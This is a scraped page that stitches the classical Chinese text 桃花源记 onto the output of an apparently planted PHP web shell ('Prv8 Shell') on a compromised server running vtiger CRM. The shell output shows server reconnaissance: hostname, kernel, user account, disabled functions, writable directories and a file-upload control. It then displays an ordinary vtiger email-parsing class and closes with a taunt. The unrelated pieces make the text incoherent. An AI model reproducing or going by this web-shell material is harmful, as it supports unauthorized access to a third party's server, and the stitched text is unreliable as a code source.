晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Settings/MailConverter/handlers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/Settings/MailConverter/handlers/MailRecord.php
<?php
/*********************************************************************************
 ** The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *
 ********************************************************************************/

/**
 * This class provides structured way of accessing details of email.
 */
class Vtiger_MailRecord {
	// FROM address(es) list 
	var $_from;
	// TO address(es) list
	var $_to;
	//var $_replyto;

	// CC address(es) list
	var $_cc;
	// BCC address(es) list
	var $_bcc;
	// DATE
	var $_date;
	// SUBJECT
	var $_subject;
	// BODY (either HTML / PLAIN message)
	var $_body;
     // Name of Mail Sender 
    var $_fromname;
    // CHARSET of the body content
	var $_charset;
	// If HTML message was set as body content
	var $_isbodyhtml;
	// PLAIN message of the original email
	var $_plainmessage = false;
	// HTML message of the original email
	var $_htmlmessage = false;
	// ATTACHMENTS list of the email
	var $_attachments = false;
	// UNIQUEID associated with the email
	var $_uniqueid = false;

	// Flag to avoid re-parsing the email body.
	var $_bodyparsed = false;

	/** DEBUG Functionality. */
	var $debug = false;
	function log($message=false) {
		if(!$message) $message = $this->__toString();

		global $log;
		if($log && $this->debug) { $log->debug($message); }
		else if($this->debug) {
			echo var_export($message, true) . "\n";
		}
	}

	/**
	 * String representation of the object.
	 */
	function __toString() {
		$tostring = '';
		$tostring .= 'FROM: [' . implode(',', $this->_from) . ']';
		$tostring .= ',TO: [' . implode(',', $this->_to) . ']';
		if (!empty($this->_cc))
		    $tostring .= ',CC: [' . implode(',', $this->_cc) . ']';
		if (!empty($this->_bcc))
		    $tostring .= ',BCC: [' . implode(',', $this->_bcc) . ']';
		$tostring .= ',DATE: [' . $this->_date . ']';
		$tostring .= ',SUBJECT: [' . $this->_subject . ']';
		return $tostring;
	}

	/**
	 * Constructor.
	 */
	function __construct($imap, $messageid, $fetchbody=true) {
		$this->__parseHeader($imap, $messageid);
		if($fetchbody) $this->__parseBody($imap, $messageid);
	}

	/**
	 * Get body content as Text.
	 */
	function getBodyText($striptags=true) {
		$bodytext = $this->_body;

		if($this->_plainmessage) {
			$bodytext = $this->_plainmessage;
		} else if($this->_isbodyhtml) {
			// TODO This conversion can added multiple lines if 
			// content is displayed directly on HTML page
			$bodytext = preg_replace("/<br>/", "\n", $bodytext);
			$bodytext = strip_tags($bodytext);
		}
		return $bodytext;
	}

	/**
	 * Get body content as HTML.
	 */
	function getBodyHTML() {
		$bodyhtml = $this->_body;
		if(!$this->_isbodyhtml) {
			$bodyhtml = preg_replace( Array("/\r\n/", "/\n/"), Array('<br>','<br>'), $bodyhtml );
		}
		if ($bodyhtml) $bodyhtml = str_replace("\xc2\xa0",' ', $bodyhtml);
		return $bodyhtml;
	}		

	/**
	 * Fetch the mail body from server.
	 */
	function fetchBody($imap, $messageid) {
		if(!$this->_bodyparsed) $this->__parseBody($imap, $messageid);
	}

	/**
	 * Parse the email id from the mail header text.
	 * @access private
	 */
	function __getEmailIdList($inarray) {
		if(empty($inarray)) return Array();
		$emails = Array();
		foreach($inarray as $emailinfo) {
			$emails[] = $emailinfo->mailbox . '@' . $emailinfo->host;
		}
		return $emails;
	}
	
	/**
	 * Helper function to convert the encoding of input to target charset.
	 */
	static function __convert_encoding($input, $to, $from = false) {
		static $mb_function = NULL;
		static $iconv_function = NULL;

		if ($mb_function === NULL) $mb_function = function_exists('mb_convert_encoding');
		if ($iconv_function === NULL) $iconv_function = function_exists('iconv');

		if($mb_function) {
			if(!$from) $from = mb_detect_encoding($input);

			if(strtolower(trim($to)) == strtolower(trim($from))) {                         
					return $input;
			} else {
				return mb_convert_encoding($input, $to, $from);
			}
		}
		return $input;
	}
	
	/**
	 * MIME decode function to parse IMAP header or mail information
	 */
	static function __mime_decode($input, &$words=null, $targetEncoding='UTF-8') {
		if(is_null($words)) $words = array();
		$returnvalue = $input;
		
		preg_match_all('/=\?([^\?]+)\?([^\?]+)\?([^\?]+)\?=/', $input, $matches);
                array_filter($matches);
                if(count($matches[0])>0){
                $decodedArray=  imap_mime_header_decode($input);
                foreach($decodedArray as $part=>$prop){
                            $decodevalue=$prop->text;
                            $charset=$prop->charset;
				$value = self::__convert_encoding($decodevalue, $targetEncoding, $charset);				
				array_push($words, $value);				
			}
		}
		if(!empty($words)) {
			$returnvalue = implode('', $words);
		}
		return $returnvalue;
	}
	
	/**
	 * MIME encode function to prepare input to target charset supported by normal IMAP clients.
	 */
	static function __mime_encode($input, $encoding='Q', $charset='iso-8859-1') {
		$returnvalue = $input;		
		$encoded = false;
		
		if(strtoupper($encoding) == 'B' ) {
			$returnvalue = self::__convert_encoding($input, $charset);
			$returnvalue = base64_encode($returnvalue);
			$encoded = true;
		} else {
			$returnvalue = self::__convert_encoding($input, $charset);
			if(function_exists('imap_qprint')) {
				$returnvalue = imap_qprint($returnvalue);
				$encoded = true;
			} else {
				// TODO: Handle case when imap_qprint is not available.
			}
		}
		if($encoded) {
			$returnvalue = "=?$charset?$encoding?$returnvalue?=";
		}
		return $returnvalue;
	}

	/**
	 * Parse header of the email.
	 * @access private
	 */
	function __parseHeader($imap, $messageid) {
		$this->_from = Array();
		$this->_to = Array();

		$mailheader = imap_headerinfo($imap, $messageid);

		$this->_uniqueid = $mailheader->message_id;

		$this->_from = $this->__getEmailIdList($mailheader->from);
                $this->_fromname = self::__mime_decode($mailheader->from[0]->personal);
		$this->_to   = $this->__getEmailIdList($mailheader->to);
		$this->_cc   = $this->__getEmailIdList($mailheader->cc);
		$this->_bcc  = $this->__getEmailIdList($mailheader->bcc);

		$this->_date = $mailheader->udate;

		$this->_subject = self::__mime_decode($mailheader->subject);
		if(!$this->_subject) $this->_subject = 'Untitled';
	}
	// Modified: http://in2.php.net/manual/en/function.imap-fetchstructure.php#85685
	function __parseBody($imap, $messageid) {
		$structure = imap_fetchstructure($imap, $messageid);

		$this->_plainmessage = '';
		$this->_htmlmessage = '';
		$this->_body = '';
		$this->_isbodyhtml = false;

		if($structure->parts) { /* multipart */
			foreach($structure->parts as $partno0=>$p) {
				$this->__getpart($imap, $messageid, $p, $partno0+1);
			}
		} else { /* not multipart */
			$this->__getpart($imap, $messageid, $structure, 0);
		}

		// Set the body (either plain or html content)
		if($this->_htmlmessage != '') {
			$this->_body = $this->_htmlmessage;
			$this->_isbodyhtml = true;
		} else {
			$this->_body = $this->_plainmessage;
		}

		if($this->_attachments) {
			$this->log("Attachments: ");
		    $filename = array();
		    $content = array();
		    $attachmentKeys = array_keys($this->_attachments);
		    for ($i = 0; $i < count($attachmentKeys); $i++) {
				$filename[$i] = self::__mime_decode($attachmentKeys[$i]);
				$content[$i] = $this->_attachments[$attachmentKeys[$i]];
		    }
		    unset($this->_attachments);
		    for ($i = 0; $i < count($attachmentKeys); $i++) {
				$this->_attachments[$filename[$i]] = $content[$i];
		    }
			$this->log(array_keys($this->_attachments));
		}

		$this->_bodyparsed = true;
	}
	// Modified: http://in2.php.net/manual/en/function.imap-fetchstructure.php#85685	
	function __getpart($imap, $messageid, $p, $partno) {
	    // $partno = '1', '2', '2.1', '2.1.3', etc if multipart, 0 if not multipart
    	
	    // DECODE DATA
    	$data = ($partno)? 
			imap_fetchbody($imap,$messageid,$partno):  // multipart
			imap_body($imap,$messageid);               // not multipart
	
		// Any part may be encoded, even plain text messages, so check everything.
    	if ($p->encoding==4) $data = quoted_printable_decode($data);
		elseif ($p->encoding==3) $data = base64_decode($data);
		// no need to decode 7-bit, 8-bit, or binary

    	// PARAMETERS
	    // get all parameters, like charset, filenames of attachments, etc.
    	$params = array();
	    if ($p->parameters) {
			foreach ($p->parameters as $x) $params[ strtolower( $x->attribute ) ] = $x->value;
		}
	    if ($p->dparameters) {
			foreach ($p->dparameters as $x) $params[ strtolower( $x->attribute ) ] = $x->value;
		}

	    // ATTACHMENT
    	// Any part with a filename is an attachment,
	    // so an attached text file (type 0) is not mistaken as the message.
    	if ($params['filename'] || $params['name']) {
        	// filename may be given as 'Filename' or 'Name' or both
	        $filename = ($params['filename'])? $params['filename'] : $params['name'];
			// filename may be encoded, so see imap_mime_header_decode()
			if(!$this->_attachments) $this->_attachments = Array();
			$this->_attachments[$filename] = $data;  // TODO: this is a problem if two files have same name
	    }

	    // TEXT
    	elseif ($p->type==0 && $data) {    		
    		$this->_charset = $params['charset'];  // assume all parts are same charset
    		$data = self::__convert_encoding($data, 'UTF-8', $this->_charset);
    		
        	// Messages may be split in different parts because of inline attachments,
	        // so append parts together with blank row.
    	    if (strtolower($p->subtype)=='plain') $this->_plainmessage .= trim($data) ."\n\n";
	        else $this->_htmlmessage .= $data ."<br><br>";			
		}

	    // EMBEDDED MESSAGE
    	// Many bounce notifications embed the original message as type 2,
	    // but AOL uses type 1 (multipart), which is not handled here.
    	// There are no PHP functions to parse embedded messages,
	    // so this just appends the raw source to the main message.
    	elseif ($p->type==2 && $data) {
			$this->_plainmessage .= trim($data) ."\n\n";
	    }

    	// SUBPART RECURSION
	    if ($p->parts) {
        	foreach ($p->parts as $partno0=>$p2)
            	$this->__getpart($imap,$messageid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    	}
	}
}
?>

haha - 2025